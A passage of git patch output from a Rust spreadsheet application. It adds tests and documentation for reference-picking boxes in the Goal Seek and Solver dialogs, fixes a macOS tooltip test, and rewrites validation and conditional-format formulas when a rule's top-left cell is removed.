"Collapse dialog", 1); + drag(&mut h, "B2", "B3"); + assert_eq!(field(&h, "variables"), "$B$2:$B$3"); + key(&mut h, Key::Enter, Modifiers::NONE); + // The Options view hides every reference box; the dialog is not modal, so the grid still + // takes a selection meanwhile. + h.get_by_label("Options").click(); + h.run_steps(3); + assert_eq!(h.query_all_by_label("Collapse dialog").count(), 0, "no reference box is shown"); + drag(&mut h, "C3", "C3"); + h.get_by_label(" Cancel ").click(); + h.run_steps(3); + assert_eq!(field(&h, "variables"), "$B$2:$B$3", "the selection made while the box was hidden is not a pick"); + // Picking ended when the box went: a later selection does not go into it either. + drag(&mut h, "D4", "D4"); + assert_eq!(field(&h, "variables"), "$B$2:$B$3"); +} + +#[test] +fn an_int_constraint_ends_picking_into_the_hidden_constraint_value_box() { + let mut h = harness(workbook()); + h.state_mut().open_dialog("solver", json!({})); + h.run_steps(4); + click_button(&mut h, "Collapse dialog", 3); + assert_eq!(collapsed(&h).as_deref(), Some("newRhs")); + drag(&mut h, "D4", "D4"); + assert_eq!(field(&h, "newRhs"), "$D$4"); + key(&mut h, Key::Enter, Modifiers::NONE); + // int and bin take no constraint value: the box goes while it is being picked into. + h.get_by_label("Constraint Operator").click(); + h.run_steps(3); + h.get_by_label("int").click(); + h.run_steps(3); + assert!(h.query_by_label("Constraint Value").is_none(), "the box is hidden"); + drag(&mut h, "E5", "E5"); + assert_eq!(field(&h, "newRhs"), "$D$4", "nothing lands in the hidden box"); + // Shown again with another operator, the box keeps its value and is not picked into. + h.get_by_label("Constraint Operator").click(); + h.run_steps(3); + h.get_by_label("<=").click(); + h.run_steps(3); + assert_eq!(field(&h, "newRhs"), "$D$4", "the selection made while hidden is not a pick"); + drag(&mut h, "F6", "F6"); + assert_eq!(field(&h, "newRhs"), "$D$4"); +} + +#[test] +fn the_name_box_keeps_its_arrow_keys_and_escape_while_a_dialog_is_collapsed() { + let mut h = harness(workbook()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "$C$3"); + // The Name Box takes the keyboard: its arrow keys edit its text, not the grid selection. + let name_box = egui::Id::unique("gridcraft.name_box"); + let center = h.get_by_label("Name Box").rect().center(); + click_at(&mut h, center); + assert_eq!(h.ctx.memory(|m| m.focused()), Some(name_box), "the Name Box has the keyboard"); + key(&mut h, Key::ArrowDown, Modifiers::NONE); + assert_eq!(h.ctx.memory(|m| m.focused()), Some(name_box), "the Name Box keeps the keyboard"); + assert_eq!(selection(&h), (0, "C3".into()), "the grid selection is unchanged"); + assert_eq!(field(&h, "changing"), "$C$3", "the picked reference is unchanged"); + assert_eq!(collapsed(&h).as_deref(), Some("changing")); + // Escape leaves the Name Box, as it did before (the grid takes the keyboard back); the dialog + // stays collapsed. + key(&mut h, Key::Escape, Modifiers::NONE); + assert_ne!(h.ctx.memory(|m| m.focused()), Some(name_box), "Escape left the Name Box"); + assert_eq!(collapsed(&h).as_deref(), Some("changing"), "that Escape was the Name Box's"); + assert!(h.state().dialog.is_some()); + // With no other field on the keyboard, the collapsed picker takes the keys again. + key(&mut h, Key::ArrowDown, Modifiers::NONE); + assert_eq!(field(&h, "changing"), "$C$4"); + key(&mut h, Key::Escape, Modifiers::NONE); + assert_eq!(collapsed(&h), None, "Escape expands the dialog"); +} + +#[test] +fn a_copy_of_the_dialogs_sheet_is_not_the_dialogs_sheet_once_the_original_is_deleted() { + let mut h = harness(two_sheets_from_file()); + open_goal_seek(&mut h); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "C3", "C3"); + assert_eq!(field(&h, "changing"), "$C$3"); + // A copy of the dialog's sheet (the same cells, and the file's sheet id) becomes active. + h.state_mut().session.execute("sheet.move", json!({"sheet": 0, "to": 1, "copy": true})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Sheet1", "Sheet1 (2)", "Rates"]); + assert_eq!(selection(&h).0, 1, "the copy is shown"); + drag(&mut h, "C4", "C4"); + assert_eq!(field(&h, "changing"), "'Sheet1 (2)'!$C$4", "the copy is not the dialog's sheet"); + // The original is deleted: the copy is the only sheet of its id, and still not the dialog's. + h.state_mut().session.execute("home.deleteSheet", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Sheet1 (2)", "Rates"]); + drag(&mut h, "C5", "C5"); + assert_eq!(field(&h, "changing"), "'Sheet1 (2)'!$C$5", "the copy is not the dialog's sheet once the original is gone"); + key(&mut h, Key::Escape, Modifiers::NONE); + h.get_by_label(" OK ").click(); + h.run_steps(3); + assert!(h.state().dialog.is_some(), "OK is refused"); + let message = h.state().message.as_ref().map(|m| m.1.clone()).unwrap_or_default(); + assert!(message.contains("was deleted"), "{message}"); + let b2 = h.state().session.active().unwrap().wb.sheets[0].value(CellRef::parse("B2").unwrap()); + assert_eq!(b2.as_f64(), Some(1.0), "Goal Seek did not run on the copy: {b2:?}"); + h.state_mut().message = None; + // Undo brings the original back: it is the dialog's sheet again, and OK runs there. + h.state_mut().session.execute("edit.undo", json!({})).unwrap(); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + h.run_steps(3); + assert_eq!(sheet_names(&h), ["Sheet1", "Sheet1 (2)", "Rates"]); + click_button(&mut h, "Collapse dialog", 1); + drag(&mut h, "B2", "B2"); + assert_eq!(field(&h, "changing"), "$B$2", "restored by undo, the original is the dialog's own"); + key(&mut h, Key::Escape, Modifiers::NONE); + ok_to_25(&mut h); + let wb = &h.state().session.active().unwrap().wb; + let b2 = wb.sheets[0].value(CellRef::parse("B2").unwrap()); + assert!((b2.as_f64().unwrap() - 7.0).abs() < 1e-6, "Goal Seek ran on the original: {b2:?}"); + assert_eq!(wb.sheets[1].value(CellRef::parse("B2").unwrap()).as_f64(), Some(1.0), "the copy is untouched"); + assert_eq!(selection(&h), (0, "B5".into())); +} + +/// `two_sheets` with a Solver model solved and saved on each sheet: Sheet1's B5 = B2 * 3 + 4 to +/// 25 by changing B2, and Rates' A2 = A1 * 2 to 10 by changing A1. +fn two_solver_models() -> Session { + let mut s = two_sheets(); + s.execute("data.solver", json!({"objective": "B5", "goal": "value", "value": 25, "variables": "B2"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + s.execute("cell.set", json!({"cell": "A1", "input": "1"})).unwrap(); + s.execute("cell.set", json!({"cell": "A2", "input": "=A1*2"})).unwrap(); + s.execute("data.solver", json!({"objective": "A2", "goal": "value", "value": 10, "variables": "A1"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("selection.set", json!({"range": "B5"})).unwrap(); + s +} + +/// How many hidden `solver_*` names hold the model of sheet `sheet`. +fn model_names(h: &H, sheet: usize) -> usize { + h.state().session.active().unwrap().wb.names.iter().filter(|n| n.scope == Some(sheet) && n.name.starts_with("solver_")).count() +} + +/// Picks `cell` (not A1, which is that sheet's own selection and so no pick) on Rates into +/// Solver's constraint cell box, then expands the dialog, leaving Rates shown: the state after a +/// cross-sheet pick. +fn pick_on_rates(h: &mut H, cell: &str) { + click_button(h, "Collapse dialog", 2); + h.state_mut().session.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + h.run_steps(3); + drag(h, cell, cell); + assert_eq!(field(h, "newLhs"), format!("Rates!${}${}", &cell[..1], &cell[1..])); + key(h, Key::Escape, Modifiers::NONE); + assert_eq!(selection(h).0, 1, "Rates is still shown"); +} + +#[test] +fn solver_reset_all_after_a_cross_sheet_pick_clears_the_dialogs_sheets_model() { + let mut h = harness(two_solver_models()); + let rates_names = model_names(&h, 1); + assert!(model_names(&h, 0) > 0 && rates_names > 0, "both sheets hold a model"); + h.state_mut().open_dialog("solver", json!({})); + h.run_steps(4); + pick_on_rates(&mut h, "C3"); + // Reset All clears the model of the dialog's sheet, not the sheet shown by the pick. + h.get_by_label("Reset All").click(); + h.run_steps(3); + assert_eq!(model_names(&h, 0), 0, "the dialog's sheet's model is cleared"); + assert_eq!(model_names(&h, 1), rates_names, "the other sheet's model is untouched"); + assert_eq!(selection(&h), (0, "B5".into()), "back on the dialog's sheet and selection"); + assert_eq!(field(&h, "objective"), "", "the form is reset"); +} + +#[test] +fn solver_save_model_after_a_cross_sheet_pick_writes_the_dialogs_sheet() { + let mut h = harness(two_sheets()); + h.state_mut().open_dialog("solver", json!({"objective": "B5", "variables": "B2"})); + h.run_steps(4); + h.get_by_label("Load/Save").click(); + h.run_steps(3); + h.state_mut().dialog.as_mut().unwrap().values.insert("modelRange".into(), json!("H1")); + h.run_steps(2); + pick_on_rates(&mut h, "C3"); + h.get_by_label("Save").click(); + h.run_steps(3); + let h1 = |h: &H, sheet: usize| h.state().session.active().unwrap().wb.sheets[sheet].value(CellRef::parse("H1").unwrap()); + assert!(!h1(&h, 0).is_empty(), "the model is written on the dialog's sheet"); + assert!(h1(&h, 1).is_empty(), "nothing is written on the sheet shown by the pick"); + assert_eq!(selection(&h).0, 0, "back on the dialog's sheet"); + // Saving where the model already is asks first; Replace, after another cross-sheet pick, + // writes the dialog's sheet too. + h.get_by_label("Save").click(); + h.run_steps(3); + assert!(h.query_by_label("Replace").is_some(), "the range holds the model: asked before replacing"); + pick_on_rates(&mut h, "C4"); + h.get_by_label("Replace").click(); + h.run_steps(3); + assert!(!h1(&h, 0).is_empty()); + assert!(h1(&h, 1).is_empty(), "Replace does not write the sheet shown by the pick"); + assert_eq!(selection(&h).0, 0); +} + +#[test] +fn solver_load_model_after_a_cross_sheet_pick_reads_the_dialogs_sheet() { + let mut s = two_sheets(); + // A model saved in cells from H1 of Sheet1, the dialog's sheet; Rates holds nothing there. + s.execute("data.solverSaveModel", json!({"to": "H1", "model": {"objective": "B5", "goal": "value", "value": 25, "variables": "B2"}})).unwrap(); + let mut h = harness(s); + h.state_mut().open_dialog("solver", json!({"objective": "", "variables": ""})); + h.run_steps(4); + h.get_by_label("Load/Save").click(); + h.run_steps(3); + h.state_mut().dialog.as_mut().unwrap().values.insert("modelRange".into(), json!("H1")); + h.run_steps(2); + pick_on_rates(&mut h, "C3"); + h.get_by_label("Load").click(); + h.run_steps(3); + assert!(field(&h, "objective").contains("B5"), "the model of the dialog's sheet is loaded: {:?}", field(&h, "objective")); + assert!(field(&h, "variables").contains("B2"), "{:?}", field(&h, "variables")); + assert_eq!(selection(&h).0, 0, "back on the dialog's sheet"); +} diff --git a/docs/control-protocol.md b/docs/control-protocol.md index 354e88e09..62b9f7354 100644 --- a/docs/control-protocol.md +++ b/docs/control-protocol.md @@ -65,7 +65,7 @@ connection; nothing sent after it runs. Blank lines are skipped. | `ui.key` / `ui.text` | `{key, shift?, cmd?, alt?, ctrl?}` / `{text}` | Keyboard input (typing in the grid starts editing); same shared queue limits, and one `ui.text` string may be at most 1 MiB | | `ui.edit.begin` / `ui.edit.text` / `ui.edit.commit` / `ui.edit.cancel` | `{text?}` / `{move?: down\|right\|up\|left\|none}` | Drive the cell editor | | `ui.ribbon` | `{tab}` | Switch ribbon tab | -| `ui.dialog` / `ui.dialog.set` / `ui.dialog.confirm` / `ui.dialog.cancel` | `{name}` / `{field, value}` | Open, fill in and confirm dialogs; `confirm` runs the dialog's command with the same parameters as its OK button | +| `ui.dialog` / `ui.dialog.set` / `ui.dialog.confirm` / `ui.dialog.cancel` | `{name}` / `{field, value}` | Open, fill in and confirm dialogs; `confirm` runs the dialog's command with the same parameters as its OK button. `confirm` applies to a dialog whose OK runs a command (Solver, Data Analysis, the form dialogs); a dialog that presses its own OK, such as Goal Seek, answers `this dialog has no OK command; drive it with its own commands` and is driven with that command (`data.goalSeek`). That command does not go back to the dialog's sheet: after a pick on another sheet, read the fields (`ui.inspect` reports the dialog's `values`), `cancel` the dialog (which shows its sheet again), then run `data.goalSeek` with those values, so references without a sheet name mean the dialog's sheet. Once the dialog's own sheet is deleted, `cancel` leaves the sheet shown as it is and replies `{"sheetDeleted": true}` (the sheet is found by identity, so a new sheet given its name does not count); the script then stops instead of running `data.goalSeek`, whose references without a sheet name would mean the sheet shown. A dialog whose reference boxes (RefEdit) picked on another sheet goes back to its own sheet: `cancel` puts the selection from before picking back; `confirm` puts it back before the command runs (so references without a sheet name mean the dialog's sheet). Both fail, with the dialog left open, when a text-box draft on the picked sheet cannot be saved (its worksheet is no longer the active one), and `confirm` also once the dialog's sheet was deleted; the window's own Cancel closes the dialog in that case and shows the reason. | | `ui.pythonMode` (via `engine.execute`) | `{on?}` | Python mode on the active cell, in the formula bar (an edit in progress keeps its text); `on: false` turns it off; without `on` it switches. A start that is refused (a locked cell on a protected sheet, a cell or draft inside another cell's spill, code hidden on a protected sheet) is an error with the reason. Opens no dialog | | `ui.backstage` (via `engine.execute`) | `{page?: home\|new\|open\|info\|saveAs\|print\|export\|options\|account\|close}` | Open the File tab's Backstage view on a page, or close it (`ui.inspect` reports the open page as `backstage`) | | `ui.screenshot` | `{path?}` | PNG of the window (base64 when no path). Animations are settled first: the picture shows the final state. On the native app it works while hidden or occluded when the platform still reports the current content size (the request asks for a hidden paint); a minimized window has no capturable size, so its request stays queued until the window is restored and otherwise reports the 8 s timeout. In a **hidden browser tab** the web runner does not implement that paint request, so the capture waits until the tab is shown again or reports the 8 s timeout. Up to 4 outstanding requests; retained images are limited to 128 MiB each and 256 MiB in total (each request reserves the largest image the ±1-pixel rounding rule can retain), one capture's transient encoding working set to 256 MiB, a base64 reply to 64 MiB, and retained images plus one capture's encoding working set to 512 MiB; a request that would exceed a budget is refused without evicting earlier ones. See [Screenshot budgets](#screenshot-budgets). A resize/DPI/zoom/visibility/occlusion change during capture is retried within the bounded retry budget or reported instead of saving stale pixels; the identity intentionally includes zoom and occlusion even though the expected physical size may be unchanged, so a capture never crosses layout generations. Every reply — success, refusal or timeout — carries the request `token` as `request` | diff --git a/docs/ui-parity.md b/docs/ui-parity.md index ba97eea4d..125182d27 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -173,7 +173,46 @@ the references entered before; a double-click goes to one. Its Reference box tak or references separated by commas (`Price, Type`, `B14:C22,F19:G30`) and selects them all. New Formatting Rule's formula box points like the formula bar: a click on the grid writes the cell's absolute reference at the caret (`=$B$2`) and a drag a range, leaving the selection the rule -applies to as it is (#2348). Other dialogs' reference fields don't take clicks yet. +applies to as it is (#2348). + +Reference boxes (RefEdit) take a range by selection on the grid: while a box is the one being +picked into, clicking or dragging on the sheet writes the absolute reference into it (with the +sheet name, quoted when it needs quotes, when the selection is on another sheet: +`'Rates Table'!$A$2:$A$4`), and typing still edits it. The box's collapse button shrinks the +dialog to the box while the person selects; Escape, Enter or the expand button restore it (Enter +there does not press OK, which is not shown while collapsed). Cancel, Escape, a ribbon command +that opens another dialog over it, and a scripted `ui.dialog.cancel` put the sheet and selection +from before picking back; OK (and `ui.dialog.confirm`, for a dialog whose OK runs a command; +Goal Seek presses its own OK and is scripted with `data.goalSeek`) puts them back before its +command runs and then stays where the command leaves things, so a Data Analysis report written +to a new sheet stays in view. Solver's Reset All, Load, Save and Replace go back the same way +before they run, since they act on the dialog's sheet, and are refused like OK once that sheet +was deleted. A text-box draft left open on the sheet picked on is saved before +the sheet changes, as any sheet switch saves it; when it cannot be saved (a script showed +another sheet meanwhile), OK does not run its command and the dialog stays open with the +reason, while Cancel still closes the dialog, shows the reason and leaves the draft and the +selection where they are (a scripted `ui.dialog.cancel` fails and keeps the dialog instead, so +the script can act). While collapsed, the arrow keys move the selection on the grid, +Shift+arrow extends it and Ctrl+arrow (Cmd on a Mac) jumps to the edge of the data, and the box +follows; expanded, the arrows edit the box. F4 in a focused box cycles the anchors of its +reference (`A1`, `$A$1`, `A$1`, `$A1`; a whole column or row between `A:A` and `$A:$A`). A click +elsewhere (the Name Box, the ribbon) neither expands nor closes a collapsed dialog, and the box +keeps picking, while the arrow keys and Escape belong to the Name Box as long as it has the +keyboard; a command that moves the selection (Undo, Go To) moves the reference with it. A +box the dialog stops showing (Solver's Options view, the Model Range of a hidden Load/Save area, +the constraint value once the operator is int or bin) is no longer picked into: a selection +made meanwhile does not land in it when it is shown again. +The dialog follows the sheet it was opened on by the sheet's identity while the app runs +(fresh for every sheet added, inserted, copied or read from a file; kept through renames, +moves, undo and redo), wherever it is moved and whatever it is renamed to. A sheet deleted and +another inserted in its place or given its own name, or a copy of it, even in one script batch +or one undo step, is not taken for it: OK is refused and Cancel leaves the selection where it +is; an undo that brings the sheet back makes it the dialog's again. The collapse button is +reachable from the keyboard and named for screen readers. Goal Seek, Solver +(objective, variable cells, both sides of a new constraint and the Model Range of Load/Save) and +Data Analysis (input, variable, X and Y, bin and output ranges) use reference boxes; the other +dialogs that take ranges (Forecast Sheet, Allow Edit Ranges, Define Name, Sparklines, Advanced +Filter) still take typed references. ## Accessibility @@ -198,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | | 2026-11-02 | minor | Floating objects: one selection for charts, pictures, shapes and slicers, eight resize handles with matching cursors (right-to-left sheets included), Escape drops the selection | From e5f265bb74e349fb3cf44cba0bab004b0056f7e2 Mon Sep 17 00:00:00 2001 From: Aimar Mendez Date: Mon, 2 Nov 2026 22:19:21 +0000 Subject: [PATCH 068/167] Ribbon test: pin macOS for the AutoSum tooltip, so it passes on a Mac MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Since #2729 the ribbon picks a tooltip's shortcut by the OS egui reports (`ctx.os()`), which egui_kittest pins to Nix unless told. The test still chose the expected text with cfg!(target_os = "macos"), so on a Mac it looked for "AutoSum (⌘⇧T)" while the harness drew "AutoSum (Alt+=)", and `cargo xtask ci` failed there while the Linux gate stayed green. The harness now pins macOS and the test expects the ⌘⇧T tooltip on every host; widgets::tests already covers the Windows/Linux "Alt+=" text. Verified on macOS 27 (arm64): `cargo xtask ci` passes all 10 steps (with CRAFT_FONTS_DIR at the gate's craft-fonts commit); on main (7bb397a3) it fails at test with "tooltip with the shortcut". --- crates/ui-egui/tests/it/ribbon_layout.rs | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/crates/ui-egui/tests/it/ribbon_layout.rs b/crates/ui-egui/tests/it/ribbon_layout.rs index 452f8ea33..fdb94b193 100644 --- a/crates/ui-egui/tests/it/ribbon_layout.rs +++ b/crates/ui-egui/tests/it/ribbon_layout.rs @@ -104,7 +104,10 @@ struct Clicks { #[test] /// The main button clicks once and the arrow twice separately; the tooltip keeps the platform shortcut, and the icon sits above the full-width label. fn big_split_button_separates_the_default_action_from_the_menu() { - let mut h = crate::common::builder().with_size(vec2(300.0, 200.0)).build_ui_state( + // The ribbon picks the shortcut by the OS egui reports, which kittest pins to Nix unless told: + // pin macOS, so the check is the same on every host (the other platforms' text is in + // `widgets::tests`). + let mut h = crate::common::builder().with_size(vec2(300.0, 200.0)).with_os(egui::os::OperatingSystem::Mac).build_ui_state( |ui, c: &mut Clicks| { let (main, arrow) = widgets::big_split_button(ui, Icon::Sum, "Auto\nSum", "AutoSum"); c.main += u32::from(main.clicked()); @@ -125,8 +128,7 @@ fn big_split_button_separates_the_default_action_from_the_menu() { h.ctx.all_styles_mut(|s| s.interaction.tooltip_delay = 0.0); h.get_by_label("Auto Sum").hover(); h.run_steps(6); - let shortcut = if cfg!(target_os = "macos") { "AutoSum (\u{2318}\u{21e7}T)" } else { "AutoSum (Alt+=)" }; - assert!(h.query_by_value(shortcut).is_some(), "tooltip with the shortcut"); + assert!(h.query_by_value("AutoSum (\u{2318}\u{21e7}T)").is_some(), "tooltip with the macOS shortcut"); // The icon part sits above the label part, across the full width. let main = h.get_by_label("Auto Sum").rect(); let arrow = h.get_by_label("Auto Sum options").rect(); From fb6dc688bc7ceb2fd14484cb8a754ff78f523e13 Mon Sep 17 00:00:00 2001 From: ljkx <177671075+ljkx@users.noreply.github.com> Date: Tue, 3 Nov 2026 00:18:50 +0100 Subject: [PATCH 069/167] Rewrite rule formulas for the new top-left cell when cells are removed from a rule Clearing validation from cells (or setting a new rule, or pasting a validation over them) and Clear Rules on selected cells shrink a rule's areas. When that removes the rule's top-left cell, the relative formulas were left written for the old cell, so the cells left checked other cells: clearing A1 off a custom `A1>10` on A1:A9 made A2 check A1. Rewrite the relative references of validation formulas, and of conditional format expressions and comparison values, for the new top-left cell. Absolute references and literal lists stay as they are. --- crates/engine/src/cmd/data/validation.rs | 7 ++++ crates/engine/src/cmd/insert.rs | 19 ++++++++++ crates/engine/src/tests.rs | 48 ++++++++++++++++++++++++ crates/xlsx/src/sheet_write/rules.rs | 2 + 4 files changed, 76 insertions(+) diff --git a/crates/engine/src/cmd/data/validation.rs b/crates/engine/src/cmd/data/validation.rs index ff8a93d61..58c445225 100644 --- a/crates/engine/src/cmd/data/validation.rs +++ b/crates/engine/src/cmd/data/validation.rs @@ -38,11 +38,18 @@ fn subtract_range(r: RangeRef, cut: &RangeRef) -> Vec { } /// Removes the cells of `cuts` from every validation, keeping the rest of each rule's ranges. +/// When the rule's top-left cell goes, its relative formulas are rewritten for the new top-left +/// cell, so the cells left keep checking the same cells. pub(in super::super) fn remove_validation_cells(validations: &mut Vec, cuts: &[RangeRef]) { for dv in validations.iter_mut() { + let before = RangeRef::top_left(&dv.ranges); for cut in cuts { dv.ranges = dv.ranges.iter().flat_map(|r| subtract_range(*r, cut)).collect(); } + if let (Some(from), Some(to)) = (before, RangeRef::top_left(&dv.ranges)) { + dv.f1 = move_rule_formula(&dv.f1, from, to); + dv.f2 = dv.f2.take().map(|f| move_rule_formula(&f, from, to)); + } } validations.retain(|d| !d.ranges.is_empty()); } diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 59b085213..1d763bb94 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -1730,7 +1730,13 @@ fn clear_cf(s: &mut Session, p: &Json) -> Result { sh.cond_formats.clear(); } else { for cf in sh.cond_formats.iter_mut() { + let before = RangeRef::top_left(&cf.ranges); cf.ranges.retain(|r| !ranges.iter().any(|x| x.intersects(r))); + // The relative formulas are written for the top-left cell: when it goes, they're + // rewritten for the new one, so the areas left keep reading the same cells. + if let (Some(from), Some(to)) = (before, RangeRef::top_left(&cf.ranges)) { + rebase_cf_formulas(&mut cf.rule, from, to); + } } sh.cond_formats.retain(|c| !c.ranges.is_empty()); } @@ -1738,6 +1744,19 @@ fn clear_cf(s: &mut Session, p: &Json) -> Result { }) } +/// Moves the relative references of a rule's per-cell formulas written for `from` to `to`. +fn rebase_cf_formulas(rule: &mut CfRule, from: CellRef, to: CellRef) { + let mv = |f: &str| crate::cmd::data::move_rule_formula(f, from, to); + match rule { + CfRule::CellIs { a, b, .. } => { + *a = mv(a); + *b = b.as_deref().map(mv); + } + CfRule::Expression { formula, .. } => *formula = mv(formula), + _ => {} + } +} + fn manage_cf(s: &mut Session, p: &Json) -> Result { let sheet = target_sheet(s, p)?; if p.get("delete").is_none() && p.get("moveUp").is_none() && p.get("moveDown").is_none() { diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index f3d08f863..09cd58eda 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -2767,6 +2767,54 @@ fn multi_area_rule_formulas_are_relative_to_the_top_left_cell_of_all_areas() { assert_eq!([styled("D2"), styled("D3"), styled("D5"), styled("D6")], [true, false, true, false]); } +#[test] +fn removing_a_rules_top_left_cell_rewrites_its_formulas_for_the_new_one() { + let mut s = s(); + let ok = |s: &mut Session, cell: &str, input: &str| s.execute("data.validate", json!({"cell": cell, "input": input})).unwrap()["ok"] == true; + let f1 = |s: &Session| s.doc().unwrap().wb.active().unwrap().validations[0].f1.clone(); + + // One area: clearing A1 off A1:A9 leaves A2:A9, whose cells still check themselves. + s.execute("data.validation", json!({"range": "A1:A9", "type": "custom", "formula1": "=A1>10"})).unwrap(); + s.execute("data.validation", json!({"range": "A1", "clear": true})).unwrap(); + assert_eq!(f1(&s), "A2>10"); + assert!(ok(&mut s, "A2", "20")); + assert!(!ok(&mut s, "A2", "5")); + s.execute("data.validation", json!({"range": "A1:A9", "clear": true})).unwrap(); + + // Several areas: clearing H26 moves the top-left cell to H27, where `$H27,$F27` is checked. + s.execute("range.setValues", json!({"range": "F26:F27", "values": [[4], [5]]})).unwrap(); + s.execute("data.validation", json!({"range": "H62:H68,H26:H27", "type": "custom", "formula1": "=MOD($H26,$F26)=0"})).unwrap(); + s.execute("data.validation", json!({"range": "H26", "clear": true})).unwrap(); + assert_eq!(f1(&s), "MOD($H27,$F27)=0"); + assert!(ok(&mut s, "H27", "10")); + assert!(!ok(&mut s, "H27", "4")); + // Absolute and literal formulas don't move. + s.execute("data.validation", json!({"range": "J1:J3", "type": "list", "formula1": "=$B$1:$B$2"})).unwrap(); + s.execute("data.validation", json!({"range": "J1", "clear": true})).unwrap(); + let dv = s.doc().unwrap().wb.active().unwrap().validations.iter().find(|d| d.ranges[0].a1() == "J2:J3").unwrap().f1.clone(); + assert_eq!(dv, "$B$1:$B$2"); + + // Conditional formats: Clear Rules on D2 drops the D2:D3 area, and D5:D6 keeps reading itself. + s.execute("range.setValues", json!({"range": "D2:D6", "values": [[1], [0], [0], [0], [1]]})).unwrap(); + s.execute("home.conditionalFormat", json!({"range": "D5:D6,D2:D3", "rule": {"type": "expression", "formula": "=D2>0", "preset": "greenFill"}})) + .unwrap(); + s.execute("range.setValues", json!({"range": "E2:E6", "values": [[1], [0], [0], [0], [1]]})).unwrap(); + s.execute("range.setValues", json!({"range": "G2:G6", "values": [[0], [9], [9], [9], [0]]})).unwrap(); + s.execute( + "home.conditionalFormat", + json!({"range": "E5:E6,E2:E3", "rule": {"type": "cellIs", "operator": "greater", "value": "=G2", "preset": "lightRedFill"}}), + ) + .unwrap(); + s.execute("home.clearRules", json!({"range": "D2,E2"})).unwrap(); + let rules: Vec = s.doc().unwrap().wb.active().unwrap().cond_formats.iter().map(|c| c.rule.clone()).collect(); + assert!(rules.iter().any(|r| matches!(r, gridcraft_model::CfRule::Expression { formula, .. } if formula == "D5>0")), "{rules:?}"); + assert!(rules.iter().any(|r| matches!(r, gridcraft_model::CfRule::CellIs { a, .. } if a == "G5")), "{rules:?}"); + let wb = s.doc().unwrap().wb.clone(); + let mut cache = crate::cf::CfCache::new(); + let mut styled = |c: &str| cache.look(&wb, 0, CellRef::parse(c).unwrap()).and_then(|l| l.style).is_some(); + assert_eq!([styled("D5"), styled("D6"), styled("E5"), styled("E6")], [false, true, false, true]); +} + #[test] fn samples_build() { for (name, _) in crate::sample::SAMPLES { diff --git a/crates/xlsx/src/sheet_write/rules.rs b/crates/xlsx/src/sheet_write/rules.rs index 584c28c01..00b0ca524 100644 --- a/crates/xlsx/src/sheet_write/rules.rs +++ b/crates/xlsx/src/sheet_write/rules.rs @@ -52,6 